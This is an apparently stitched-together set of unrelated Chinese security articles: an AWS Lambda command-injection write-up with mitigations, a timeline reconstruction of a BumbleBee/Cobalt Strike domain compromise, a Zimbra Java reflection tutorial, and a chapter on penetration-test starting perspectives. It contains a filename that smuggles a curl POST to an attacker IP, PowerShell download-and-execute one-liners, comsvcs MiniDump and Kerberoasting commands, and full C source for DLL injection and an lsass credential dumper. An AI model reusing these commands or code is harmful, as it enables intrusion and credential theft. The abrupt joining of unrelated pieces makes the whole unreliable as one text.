一旦登錄,我們就可以開始評估相關用戶或組的特權。在本例中,我們可以看到這裡附加了以下策略。

awsiamlist-attached-user-policies--user-nameoperator 1.png

我們只有隻讀權限,所以,接下來可以收集已經部署到賬戶中的信息,特別是關注配置錯誤的S3桶。

就像我們在黑盒測試場景中看到的那樣,我們可以合理地假設,發現的開放型存儲桶有一個lambda函數。因此,如果找到有關lambda函數的額外信息,將有助於更好地發動攻擊。

通過命令list-functions,我們可以看到賬戶中可用的lambda函數。就這裡來說,我們找到了corpFuncEasy函數及其相關信息,特別是該函數所使用的角色。

awslambdalist-functions 1.png

通過get-function,我們可以深入研究之前找到的lambda函數。在這裡,我們可以找到一些基本的信息,如下載函數代碼的鏈接。

wslambdaget-function--function-namecorpFuncEasy

{

'Configuration':{

'FunctionName':'corpFuncEasy',

'FunctionArn':'arn:aws:lambda:us-east-1:AccountID:function:corpFuncEasy',

.

},

'Code':{

'RepositoryType':'S3',

'Location':'https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/AccountID/corpFuncEasy-9c1924b0-501a-.'

},

'Tags':{

'lambda-console:blueprint':'s3-get-object-python'

}

}通過檢查代碼,我們可以更好地評估函數的安全性,並查看是否應用了安全最佳實踐。

1.png

在這段代碼中,我們可以看到上傳的文件被放入/tmp/folder中,文件路徑直接用於subprocess命令並執行。

我們看到,這裡並沒有對文件名應用任何輸入驗證,也就談不上安全過濾了。現在,我們更清楚前面提到的攻擊為什麼能成功了。

在這裡,使用的文件名為“screen.zip;curl -X POST -d “testRCECurl” 3.80.92.111:443”,相應的subprocess命令如下所示:

'stat-c%sscreen.zip;curl-XPOST-d'testRCECurl'3.80.92.111:443'正如我們所看到的,使用分號字符,我們可以在stat命令後面追加其他要執行的命令。正如我們前面提到的,執行curl命令後,字符串將發送到攻擊系統的443端口。

如何防禦這種攻擊我們已經從黑盒測試和白盒測試的角度考察了相應的攻擊場景,但是我們如何進行防禦呢?在考察的場景中,我們涵蓋了不同的AWS組件,如S3桶和AWS lambda函數,但是某些安全因素被忽略了。

為了成功地緩解這種情況,我們可以在不同的級別和不同的特性上採取行動。特別是,我們可以:

1、 禁用S3桶的公共訪問權限,這樣它就只能從內部訪問,並且只能被通過了雲賬戶認證的用戶訪問。

2、 檢查lambda函數中使用的代碼,以確保裡面沒有任何安全漏洞,所有的用戶輸入都按照安全編寫代碼的安全準則進行了正確處理。

3、 在應用於雲特性的所有AWS IAM角色中應用最小特權原則,以避免不必要的操作或在帳戶內出現特權提昇路徑。

下面,讓我們來看看上面提到的所有要點,詳細了解應該如何部署這些緩解措施。

禁用S3桶的公共訪問權限S3桶是AWS中用作存儲的關鍵組件之一;S3桶經常被那些入侵雲賬戶的攻擊者所利用。

盡可能地保持S3桶的安全,應用所有可用的安全設置,避免對我們的數據或文件進行不必要的訪問,這一點至關重要。

就本例來說,存儲桶是公開的,所有未經授權的用戶都能夠對它進行讀取和寫入操作。為了避免這種情況,我們需要確保桶是可用的,私下里應用以下安全設置來限制訪問。

1.png

此外,通過對存儲桶施加ACL,可以定義允許對它執行哪些操作,以及可以訪問桶中的哪些對象;對於其他的操作和對象,則一律拒絕。

{

'Version':'2012-10-17',

'Statement':[

{

'Sid':'PublicReadGetObject',

'Effect':'Allow',

'Principal':'*',

'Action':[

's3:GetObject',

's3:PutObject'

],

'Resource':'arn:aws:s3:3bucket********/www/html/word/*'

},

{

'Sid':'PublicReadListObject',

'Effect':'Allow',

'Principal':'*',

'Action':'s3:List*',

'Resource':'arn:aws:s3:s3bucket********/*'

}

]

}審查lambda函數內部使用的代碼與任何其他Web應用程序一樣,保證代碼是按照安全最佳實踐來實現的,是避免安全問題的根本所在。當然,Lambda函數中的代碼也不例外,我們需要確保代碼是安全的、無懈可擊的。

就本案例來說,請看下面的代碼片段:

file_count_KB=subprocess.check_output(

'stat-c%s'+file_download_path,

shell=True,

stderr=subprocess.STDOUT

).decode().rstrip()其中,變量file_download_path保存有完整的文件路徑,包括文件名。該路徑直接連接到命令行以執行命令。但是,文件名是由用戶決定和控制的,因此,在將路徑附加到命令中之前,我們需要根據允許的字符進行適當的用戶輸入驗證和過濾。

為了進行正確、有效的驗證,我們需要清楚地知道哪些字符是允許的,哪些字符將包含在字符串中,並應用輸入驗證的最佳實踐。

借助於正則表達式,我們可以只允許特定文件路徑中出現的字符,並在攻擊者試圖提交不良字符時阻止其執行。在下面的例子中,我們可以看到一個用正則表達式來驗證linux文件路徑的例子。

pattern='^\/$|(\/[a-zA-Z_0-9-]+)+$'

ifre.match(pattern,file_download_path):

file_count_KB=subprocess.check_output(

'stat-c%s'+file_download_path,

shell=True,

stderr=subprocess.STDOUT

).decode().rstrip()需要說明的是,這個正則表達式是針對我們要驗證的字段或輸入的。 OWASP提供了很好的最佳實踐指南,當您需要處理任何類型的用戶輸入時,請遵循該指南。

在AWS IAM角色中應用最小特權原則藉助於AWS身份和訪問管理(IAM),我們可以安全地管理對AWS服務和資源的訪問。正如我們在第一節中所說,用戶負責管理身份和訪問管理層,並使用權限來控制對AWS資源的訪問。

由於雲環境中可用權限的粒度較細,所以,我們建議遵循最小特權原則,精確地賦予用戶執行其操作所需的權限。如果為用戶賦予了過大的權限,攻擊者可能利用這一點實現權限提升。

在黑盒測試場景中,攻擊者能夠使用與lambda函數關聯的AWS角色登錄帳戶。

攻擊者可能會繼續攻擊並提升自己在AWS內部的權限,因為可能存在特權配置錯誤。通過對分配給lambda函數的角色授予所需的最低權限,我們可以攻擊者提權路徑最小化,以確保即使遭到入侵,也不會危及整個雲環境。

當然,要想清楚地了解每個組、用戶或資源附加了哪些政策和角色,也並不是那麼容易。不過,我們可以藉助於持續監視雲中異常活動的安全工具,來生成安全事件。在AWS中,通過使用正確的工具,我們可以從CloudTrail事件和其他來源收集事件,以輕鬆地評估和加固雲環境的安全性。

小結雖然AWS Lambda函數在可擴展性和性能方面具有很大的優勢,但是,如果不以最佳實踐方式對安全進行全方位的管理,這些無服務器函數可能會被攻擊者濫用,成為入侵AWS賬戶的利器。

在Lambda代碼中施加適當的輸入驗證,在函數觸發器中應用安全最佳實踐,對於防禦攻擊者的入侵活動是至關重要的。正如在雲環境中經常發生的那樣,確保在IAM權限方面應用最小權限的原則,可以有效防禦提權攻擊。

0 前言

实战案例还原《BumbleBee Roasts Its Way To Domain Admin》一文详细的描述了一次渗透案例,但其文章组织架构建立在ATT&CK框架上,而不是按照时间线逻辑来组织,因此对于渗透人员了解学习其前后过程有些困难,特此梳理一番,按照时间线还原实战。

《BumbleBee Roasts Its Way To Domain Admin》原文链接

1 第一天(Day1)

1.1 样本投递

看起来是通过邮件中的下载链接投递到的目标环境中的机器,该样本是一个有密码的压缩包。解压缩后释放文件BC_invoice_Report_CORP_46.iso。当挂载这个ISO文件,会释放一个LNK文件documents.lnk,当双击这个快捷方式时会执行隐藏的恶意加载器。快捷方式的目标如下:

u50cm0tx24i14818.png

1.1.1 rundll32解析

使用rundll32加载执行是常用渗透套路,可以执行dll中的程序,一般还可以用来获取shell:

set srvhost 10.x.x.x
exploit

1uk1a2j53s114822.png

tbeppeql0rf14823.png

1.2 加载恶意程序大黄蜂(BumbleBee)

加载器大黄蜂(BumbleBee)返回Cobalt Strike Session,攻击者利用这个Cobalt Strike的shell释放wab.exe,该可执行文件将有wmi执行。

zask01qcwo314825.png

wab.exe将恶意代码注入到其他两个进程explorer.exe和rundll32.exe中。这里根据原文来看使用的是远线程注入,及使用经典的OpenProcess、VirtualAlloc、WriteProcessMemory、CreateRemoteThread这些Windows系统调用API进行进程注入。根据这些描述,攻击者此刻是具备至少Administrator权限,一般情况下具备了Administrator权限也就有了System权限,从文章描述来看,攻击者使用了getsystem来提权。远线程注入实例代码如下:

BOOL CreateRemoteThreadInjectDLL(DWORD dwProcessId, char* pszDllFileName){
    HANDLE hProcess = NULL;
    DWORD dwSize = 0;
    LPVOID pDllAddr = NULL;
    FARPROC pFuncProcAddr = NULL;
    hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);//打开进程,获取进程句柄
    dwSize = 1+ ::lstrlen(pszDllFileName); //获取dll大小
    pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);//申请内
    ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL);//向内存中写入dll
    pFuncProAddr = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibiaryA");//获取函数LoadLibraryA的函数地址
    HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, Null);//创建远线程
    ::CloseHandle(hProcess);
    return TRUE;
}

1.3 被控主机信息收集

攻击者使用多种命令来收集操作系统、网络、用户、软件、进程、域等信息:

#获取网络信息包含domain
ping -n 1 [domain] #测试domain连通性
net group "domain admins" /domain #获取域管组成员
nslookup x.x.x.x #获取x.x.x.x IP地址
tasklist #获取进程信息
systeminfo #获取系统信息
wmic product get name,version #获取软件信息
wmic /node"<redacted> process list brief #获取进程信息
net view \\<redacted>\Files$ /all #列远程服务器Files共享目录
dir \\<redacted>\c$\ #列c盘目录
tasklist /v /s x.x.x.x #远程获取x.x.x.x 进程详细信息
net use
net group "Domain computers" /domain
net group "Enterprise admins" /domain
net group "domain computers" /domain
net localgroup administrators
nltest /dclist
nltest /domain_trusts
ping -n 1 <remote_ip>

根据上文执行的命令来看攻击者已经获取了远端服务器x.x.x.x的权限或者用户名和口令。

1.4 横向移动到服务器并继续收集信息

原文描述利用local admin账号通过RDP协议横向移动到一台服务器,并释放了AnyDesk.exe作为后门,然后开始利用adfind.exe继续进行信息收集(根据描述,看来该服务器在域内):

"(objectcategory=person)" > ad_users.txt
cmd.exe /C af.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C af.exe -sc trustdump > trustdump.txt
cmd.exe /C af.exe -gcb -sc trustdump > trustdump.txt

2 第二天(Day2)

2.1 在服务器上继续收集信息

攻击者继续使用RDP登录该服务器,并上传了VulnRecon,一款专门设计用来在Windows机器上标识权限提升的路径的工具。

3 第四天(Day4)

3.1 在被控主机上继续收集信息

攻击者在被控主机上及环境中的多台机器,上传了VulnRecon工具和Sysinternals tool工具套件 ,使用VulnRecon、adfind、procdump等工具继续信息收集。其中他们使用远程服务来执行procdump来提取lsass.exe的内存从而获取凭据,根据描述他们至少又获得了几台主机和至少一台服务器的权限。截止目前看起来尚未获取与管理或更高的权限。使用adfind的过程发生在原始被控主机上,当然也不排除在新的横移到的主机上进行。

"(objectcategory=person)" > ad_users.txt
cmd.exe /C adfind.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C adfind.exe -f "(objectcategory=organizationalUnit)" > ad_ous.txt
cmd.exe /C adfind.exe -sc trustdump > trustdump.txt

3.1.1 VulnRecon 解析

VulnRecon有一个可执行文件和一个dll组成,分别是vulnrecon.exe和vulnrecon.dll,用来枚举权限提升的方式以及信息收集,看起来是自定义的工具,上传到原始被控主机上,当然也不排除在新的横移到的主机上进行。

# 
#vulnrecon.dll PDB: D:\a\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\standalone\Release\apphost.pdb
#vulnrecon.exe PDB: D:\work\rt\VulnRecon\VulnRecon\obj\Release\net5.0\VulnRecon.pdb

# command

vulnrecon.exe -v
vulnrecon.exe -o
vulnrecon.exe -FindVulnerability
vulnrecon.exe -i
vulnrecon.exe -m
cmd.exe /c vulnrecon.exe -FindVulnerability >> c:\programdata\log.txt
cmd.exe /c vulnrecon.exe -i >> c:\programdata\1.txt
cmd.exe /c vulnrecon.exe -o >> c:\programdata\out.txt

hvrzojs110g14826.png

nc2lygjo4co14828.png

axrvk54uynf14831.png

看起来提权是为了执行procdump获取lsass内存的,发生在原始被控主机上。

### 3.2 获取lsass中的凭据

根据描述dump出来的文件保存在ProgramData中,利用net use等方式可以获取回来,使用mimikatz或者pypykatz进行破解。这些过程发生在从原始被控主机发现并横向移动到的那些受害主机和服务器上。

4 第七天(Day7)

4.1 在被控服务器上继续收集信息

攻击者持续使用VulnRecon在服务器上进行信息收集,并且还使用了Seatbelt工具(一款常用的信息收集工具)。根据描述使用的是服务器的本地管理员权限。

"C:\ProgramData\seatinfo.txt"
vulnrecon.exe -o
vulnrecon.exe -v
vulnrecon.exe -m
cmd.exe /c vulnrecon.exe -FindVulnerability >> c:\programdata\log.txt

5 第十一天(Day11)

5.1 在被控主机上反弹shell

攻击者持续被控主机上执行powershell命令,下载执行a文件的内容:

-nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://a.b.c.d:80/a'))"

根据在a中发现的cobalt strike 的默认配置字符MZRE可以断定,这是一个回连C2地址的 cobalt strike的指令。然后攻击者获取了一个被控主机到攻击者控制的C2。

![](https://img2022.cnblogs.com/blog/1070321/202208/1070321-20220817170635532-83148076.png)

然后开始向其他进程进行注入,根据原文描述,应该注入到了类似svchost.exe等几个进程。然后攻击者执行了powershell模块Invoke-Kerberoast,开始了kerberoasting攻击。这里依然是从被控主机开始都发起的。

#父进程 svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc

IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:36177/'); Invoke-Kerberoast -OutputFormat HashCat | fl | Out-File -FilePath C:\ProgramData\REDACTED\ps.txt -append -force -Encoding UTF8

# 可以看出输出是hashcat模式,攻击应该是使用hashcat进行暴力破解

5.1.1 kerberoasting攻击解析

kerberoasting攻击解析分为两种:TGS-Kerberoasting和 AS-Kerberoasting,可以使用rubeus.exe、msf、powershell进行,其获取的事Net-NTLMHash,可以使用hashcat等工具进行破解从而获得ntlmhash或者password。

jxo3pqv5kvo14832.png

5.2 使用Minidump进行凭据提取

攻击者又开始使用可以规避卡巴斯基的凭据提取方式minidump进行凭据提取。这里依然是从被控主机开始都发起的。

#父进程 svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
cmd.exe /C rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 968 C:\ProgramData\REDACTED\lsass.dmp full

5.2.1 Minidump解析

攻击者又开始使用可以规避卡巴斯基的凭据提取方式minidump进行凭据提取。这里依然是从被控主机开始都发起的。

#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>

typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);

int GetLsassPid() {

	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(PROCESSENTRY32);

	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

	if (Process32First(hSnapshot, &entry)) {
		while (Process32Next(hSnapshot, &entry)) {
			if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
				return entry.th32ProcessID;
			}
		}
	}

	CloseHandle(hSnapshot);
	return 0;
}

void GetDebugPrivilege()
{
	BOOL fOk = FALSE;
	HANDLE hToken;
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount = 1;
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
		tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
		fOk = (GetLastError() == ERROR_SUCCESS);
		CloseHandle(hToken);
	}
}

void DumpLsass()
{
	wchar_t  ws[100];
	_MiniDumpW MiniDumpW;
	
	MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
	swprintf(ws, 100, L"%u %hs", GetLsassPid(), "c:\\windows\\temp\\temp.bin full");

	GetDebugPrivilege();

	MiniDumpW(0, 0, ws);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
		DumpLsass();
		break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

我自己曾经编译过该文件,在这里再次感谢曾经A-Team的大佬们带给我的渗透技术视野和国外XPN大牛乐于分享的精神。

4zpyfpo0wfv14834.png

编译和使用方式参考

5.3 在被控主机上继续信息收集

在初始被控主机上继续使用adfind收集信息。

"(objectcategory=person)" > ad_users.txt
cmd.exe /C adfind.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C adfind.exe -sc trustdump > trustdump.txt

5.4 在初始被控机器上再次执行powershell,与之前的相同

攻击者持续被控主机上执行powershell命令,下载执行a文件的内容:

-nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://a.b.c.d:80/a'))"

以上过程在5.1中有详细描述不再赘述

5.5 在更多机器上信息收集

在更多机器上执行下列命令:

whoami
C:\Windows\system32\cmd.exe /C net view \\x.x.x.x\ /all
C:\Windows\system32\cmd.exe /C wmic /node:x.x.x.x process list brief
C:\Windows\system32\cmd.exe /C net ""domain controllers" /domain 
C:\Windows\system32\cmd.exe /C net nltest /dclist:[domain]

5.6 两个批处理脚本

攻击者上传并执行两个脚本s.bat和w.bat,这两个脚本可以分析和发现环境内的其他目标。

# s.bat
echo off
for /f %%i in (servers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do @echo %%j >> serv.log
# w.bat
@echo off
for /f %%i in (workers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do @echo %%j >> work.log

5.7 最后

两个脚本运行之后,一个新的cobalt strike的session在初始被控的机器上再次运行上线,然后攻击者使用一个服务账号进行横移,在域控上执行获取一个cobalt strike的session,根据原文描述这里是一个弱口令,被hashcat破解tgs-kerberoasting得到的net-ntlm hash的值这个操作所爆破出来,攻击者在域控上dump lsass。exe的进程内存从而获取到domain admin的权限,打穿域控



原文来源: https://www.cnblogs.com/KevinGeorge/p/16595912.html

0x00 前言在上篇文章《Zimbra漏洞调试环境搭建》 提到了通過反射枚舉JspServletWrapper實例的實現,本文將要以此為例,詳細介紹實現的思路和細節,便於以此類推,實現其他功能。

0x01 簡介本文將要介紹以下內容:

反射中的常用操作

獲得類的所有字段

獲得類的所有方法

調用類的方法

枚舉JspServletWrapper實例的實現細節

0x02 反射中的常用操作1.獲得類的所有字段getField():

能夠獲取本類以及父類中的public字段

getDeclaredField():

能夠獲取本類中的所有字段

這里以Zimbra環境為例,給出示例代碼

(1)獲取request對象的所有字段

image.png

(2)獲取request對象的父類的所有字段

image.png

2.獲得類的所有方法getMethods():

能夠獲取本類以及父類或者父接口中的公共方法(public修飾符修飾的)

getDeclaredMethods():

能夠獲取本類中的所有方法,包括private、protected、默認以及public的方法

這里以Zimbra環境為例,給出示例代碼

(1)獲取request對象的所有方法

image.png

(2)獲取request對象的父類的所有方法

image.png

3.調用類的指定方法這里以Zimbra環境為例,給出示例代碼

搭建好Zimbra漏洞調試環境後,定位request對象的getHeader(String name)方法,代碼細節如下:

image.png

對照代碼細節,參數類型為String

調用request對象的getHeader(String name)方法,參數為'User-Agent',實現代碼如下:

image.png

0x03 枚舉JspServletWrapper實例的實現細節1.下斷點選擇文件servlet-api-3.1.jar,依次選中javax.servlet-http-HttpServlet.class,在合適的位置下斷點,當運行到斷點時,可以查看request對象的完整結構,如下圖

e9e0eae38cecda9913564d7bfcf1b5a.png

查看request對象的結構,我們最終定位到了JspServletWrapper實例的位置,直觀的映射為:request-_scope-_servlet-rctxt-jsps

接下來,我們需要按照這個映射,通過多次反射最終獲得JspServletWrapper實例

(1)讀取request對象的所有字段

image.png

在回顯的結果中能夠找到_scope

(2)從request對象獲得_scope實例並再次枚舉字段

image.png

在回顯的結果中能夠找到_servlet

(3)獲得_servlet實例並再次枚舉字段

image.png

回顯的結果為:serialVersionUID

這裡沒有rctxt字段

嘗試尋找原因:開啟調試器,定位至關鍵位置,如下圖

46a735c03b2f1ba1fabf34da4ab54c7.png

從圖中可以看到,_servlet的類為JettyJspServlet

JettyJspServlet繼承自JspServlet,成員變量只有serialVersionUID,這與我們通過訪問jsp頁面得到的結果一致

查看JspServlet的相關實現代碼,如下圖

5872d6fee77f3adc12ac3e6f4d198a2.png

從圖中可以看到,rctxt為JspServlet的成員變量,屬性為private,所以子類JettyJspServlet無法繼承成員變量rctxt

這裡我們可以直接選取_servlet實例的父類進行枚舉字段

(4)選取_servlet實例的父類進行枚舉字段

image.png

在回顯的結果中能夠找到jsps

(5)獲得jsps實例並枚舉字段

開啟調試器,查看jsps的類型,如下圖

7a9266135013ed420e1958d8b9ae80c.png

從圖中可以看到,jsps的類為ConcurrentHashMap,這裡只需要枚舉出所有Key即可

添加需要導入的包後,得出最終實現代碼:

image.png

補充:刪除指定JspServletWrapper的實例

只需要調用ConcurrentHashMap的remove方法即可

示例代碼:

image.png

0x04 小結本文介紹了通過反射枚舉JspServletWrapper實例的具體實現,記錄思路和細節,便於以此類推,修改其他內容。

本章將詳細介紹外部、DMZ、內部和關鍵資產的入網點的初始演練視角。初始視角是攻擊性安全評估的出發點,評估人員從此開始與目標系統進行交互,然後進行枚舉和漏洞利用。每種視角都會通過其在組織中評估和利用漏洞的能力進行對比。然後,根據攻擊面審查的效率和方式對這些視角進行比較。另外,文本還概述了每種視角的優缺點。在本章末尾,你就能了解不同的演練初始化點如何影響攻擊性安全評估,並了解CAPTR 團隊使用的關鍵資產視角是值得甚至是必要的。重要的是要注意,攻擊性安全評估是一個人工進行的過程,除了技術漏洞識別和利用工具外,還涉及情報和技能。初始視角幾乎影響手動攻擊性安全評估的所有方面,下面的分析將演示如何從不同的初始視角進行演練。下圖說明了演練中不同的初始視角。

1.png

外部初始演練視角外部演練視角是安全評估最傳統的出發點。外部演練初始視角通常從基於互聯網的入口開始,並將重點放在組織安全的外圍,如下圖所示。

2.png

DMZ 初始演練視角從DMZ的視角評估網絡需要從DMZ本身作為開始進行評估,重點不僅是從側面攻擊面向互聯網的服務器,而且還要評估從DMZ內部攻擊組織內部的能力。該視角評估的重點是確定對惡意攻擊者在DMZ內從一個DMZ託管的面向互聯網的設備轉移到另一個設備的能力以及攻擊者從DMZ移動到內部網絡的能力進行安全評估,如下圖所示。

3.png

內部初始演練視角內部視角使用網絡本身作為出發點。此視角通常通過網絡中機器上的用戶上下文來開展。在這個演練視角中,評估的重點是確定在該內部網絡中定位跳板機器和提升權限的能力,如下圖所示。

4.png

關鍵資產初始演練視角CAPTR 團隊從對組織構成最大風險的一個或多個存在點開始使用關鍵觀點。從這個視角進行評估的重點是識別此類設備的本地漏洞,這些漏洞可能使攻擊者入侵關鍵資產。然後,可以將評估擴展到組織中允許攻擊者轉向關鍵資產的點,並繼續向外擴展。第四種視角旨在緩解組織內網遭到破壞行為的影響,而不管允許攻擊者進入的漏洞或內部威脅的位置是否會影響這種評估視角。以入侵為目標開始安全評估,而不是評估潛在的起點,可以增強抵禦各種威脅的能力。該視角不同於內部初始視角,因為該視角是從CAPTR團隊範圍內確定的致命或關鍵資產點作為開始,而不僅僅是組織內的非特定特權或非特權訪問,如下圖所示。

5.png

對風險評估的影響為了比較和對比安全評估的四種不同初始視角,我接下來將對風險進行定量分析。影響面是衡量不同攻擊對象的破壞程度的指標。評級風險的另一部分是它發生的可能性。時間度量用於顯示可能性,它表示所花費的時間量,從給定的角度評估產生不同影響的信息折衷所需的時間。此評估還表明攻擊者可能也會這樣做。為了確定這些評估視角可能導致的結果的影響,我將影響分為四個級別,數字越高,表明該級別的設備如果受到攻擊,對組織的影響越大(見下圖)。 0級項目的影響可以忽略不計;3級項目對組織的存在和功能是致命的。為了確定每個視角可能識別的信息類型,我在下圖中創建了一個大圖,顯示了網絡的哪些部分可能在黑匣子中包含哪些級別的數據保護分類。

6.png

如前所述,可能性表示為從給定視角進行評估以確定具有給定影響面的結果所需的時間。例如,如果一個評估視角幾乎能夠立即找到具有給定保護級別的數據,那麼使用的視角很可能會評估該影響級別的風險。如果某個視角是需要花費時間並且通過跳板來訪問到不同的數據保護級別,則可能性很低。

重要的是要理解,評估過程中時間的流逝也可能會改變評估視角。評估可以從網絡的外部初始視角開始,然後通過漏洞利用,訪問DMZ中的設備。從這一點開始,評估就是多個攻擊角度的表示。隨著評估進一步深入網絡,該過程將繼續進行。所涉及的定義增量是時間、過渡視角和可能性。

對風險評估的影響:外部視角外部初始評估視角側重於網絡的外圍,只有在識別並利用組織最外層的漏洞後,才能轉移到組織的其他部分。因此,在評估的早期,很可能只有0級和1級相關的結果。時間可能允許演練通過深入網絡來破壞更高級別的數據;但是,因為這需要更長的測試時間,所以可能性被認為很低。下圖顯示了隨著評估時間的持續,這種視角的變化。

7.png

由於外部視角與網絡中的3級數據相距甚遠,因此到達這一點所需的時間較長,因此不太可能。儘管0級信息的影響很小,但幾乎可以肯定的是,這種可能性會產生與從這個視角發現的結果相關的中等風險。此視角不太可能產生更高級別的數據,因為它需要時間來發現其他漏洞,從而使該演練視角能夠深入組織。可能被評估的風險水平為低至中等。

對風險評估的影響:DMZ視角DMZ視角相對於外部視角具有優勢,因為它從組織的DMZ內已經存在的一個點開始,並且不必發現允許其從外網轉到DMZ的漏洞(見下圖)。

8.png

由於從這一角度進行評估不需要時間從外部角度進行內部分析,因此與高級別數據保護相關的發現更有可能,因為識別這些發現所需的時間較少,從而增加了發現有影響的威脅的可能性。 DMZ視角在評估中等風險水平方面具有最大潛力。

對風險評估的影響:內部視角從網絡中間存在點的初始視角來看,評估更有可能在1級和2級數據早期發現結果。與前面討論的兩種視角相比,這種視角還有一個副作用,即使用這種初始視角進行評估,實際上不太可能發現導致0級信息的發現。與前兩個視角一樣,從內部初始視角到能夠入侵3級數據的軸心需要時間。

下圖顯示,與0級數據一樣,從這一初始視角進行評估,要得出關於3級數據的調查結果,仍然需要時間。因此,最有可能找到風險等級1和2的數據。因為從這個視角來看,很快發現的漏洞不太可能破壞3級數據,所以它仍然不能代表對最高風險級別的有效評估。然而,內部視角顯然代表了大的潛在風險截面。

9.png

對風險評估的影響:關鍵視角使用關鍵初始視角的評估從網絡最有價值的地方開始。這意味著,與其他三個角度不同,3級數據被攻擊的結果在評估開始時確定。不幸的是,使用視角需要時間才能到達網絡中包含0到2級數據的點(見下圖)。

10.png

使用此視角可降低在評估期間發現1級和2級數據的可能性,且評估不太可能遇到0級數據的發現。關於一個組織的總體評估效率,這種初始視角在涵蓋所有風險級別時可能是最不有效的。它在查找級別3數據時非常有效,因為它從承載此類信息的設備開始。因此,這種評估視角更有可能發現導致3級數據被攻擊外洩的漏洞,因此,代表了評估組織面臨的最極端風險水平的能力。

對攻擊面覆蓋的影響下一步要在初始視角之間進行比較的是每個視角在評估期間審查攻擊面的能力。這是證明安全評估有效性的一個極其重要的屬性。儘管評估可能不會產生涵蓋極有價值的風險敞口的結果,但如果能夠評估組織的大部分攻擊面,評估仍然可能有效。攻擊面是能夠影響給定目標的任何實體或資產。安全評估的責任是通過評估漏洞來覆蓋攻擊面。但是,不能平等對待所有攻擊面,因為整個攻擊面的不同部分代表了對不同級別數據的潛在即時訪問。

例如,有一個更廣泛的攻擊面,由面向外網的面表示,因為它們受到的攻擊和枚舉嘗試次數要多得多。然而,正如已經顯示的那樣,允許訪問面向外網的服務器的漏洞最初可能並不一定會削弱組織。對每個初始視角如何影響攻擊面分析方式的剖析進一步說明了每個初始視角作為有效安全評估視角的情況,並展示了它們如何共同構成組織充分網絡安全評估的必要部分。

攻擊面覆蓋:外部視角組織中面向互聯網的部分是最容易暴露的,並且可以被最多的用戶和攻擊者訪問。因此,網絡的面向互聯網的層可以被歸類為具有最多的攻擊面。這裡存在的漏洞如果被利用,可能不會導致最嚴重的後果,但這是最有可能被發現的地方。大多數現代組織不得不承認,為互聯網用戶提供服務的本質增加了他們的風險。安全評估的外部視角為評估該攻擊面提供了最直接的方法,如下圖所示。

11.png

外部視角攻擊面評估

外部視角允許覆蓋組織的大片攻擊面。但是,如果在測試期間進行評估,那麼在評估深入到網絡之前還有一段時間。下圖顯示了評估的攻擊面(紅色部分),以及評估如何隨著時間推移過渡到攻擊面更深的部分。初始化時,第一個攻擊面金字塔(如下圖左側)顯示外部視角如何僅看到組織的外部攻擊面。中間金字塔表示從外部角度評估的中間部分,以及它將如何達到評估組織內部更深層次攻擊面的能力。右邊的金字塔顯示了評估的結束,以及它是如何檢查組織深層攻擊面的一部分,但不是全部。

攻擊面覆蓋:DMZ 視角在DMZ中開始評估消除了對漏洞的需要,從而使得評估人員繞過面向互聯網的防禦。因此,從這一視角進行的評估能夠更直接地評估DMZ中的其他設備,並通過橫向枚舉確定其脆弱性(見下圖)。

12.png

如上圖所示,DMZ演練視角在能夠開始評估DMZ中的設備之前不需要時間。它還能夠以比外部視角更快的方式開始探測內部網絡,因為外部視角是組織攻擊面的主體,在繼續之前必須首先解決。然而,這一評估視角面臨的一個潛在障礙是,它可能無法識別基於互聯網的掃描和攻擊存在的漏洞,因為DMZ中的設備應該與互聯網通信,而不是相互通信。

攻擊面覆蓋:內部視角內部視角承擔了內部威脅的責任,因此可以從網絡的更深層次入手,接觸到更多的攻擊面。這也意味著,與DMZ視角一樣,評估一個組織面對互聯網的威脅向量的能力並不容易實現,事實上,在這種情況下可能相當耗時(見下圖)。

14.png

內部視角攻擊面評估

內部演練視角的好處是,在直接環境中分析的攻擊面可能會導致漏洞的發現,這些漏洞可能會危害組織無意公開的數據。這與外部和DMZ評估觀點相反,外部和DMZ演練視角可能會在更大、更易訪問互聯網的攻擊面上發現許多意義不大的漏洞。

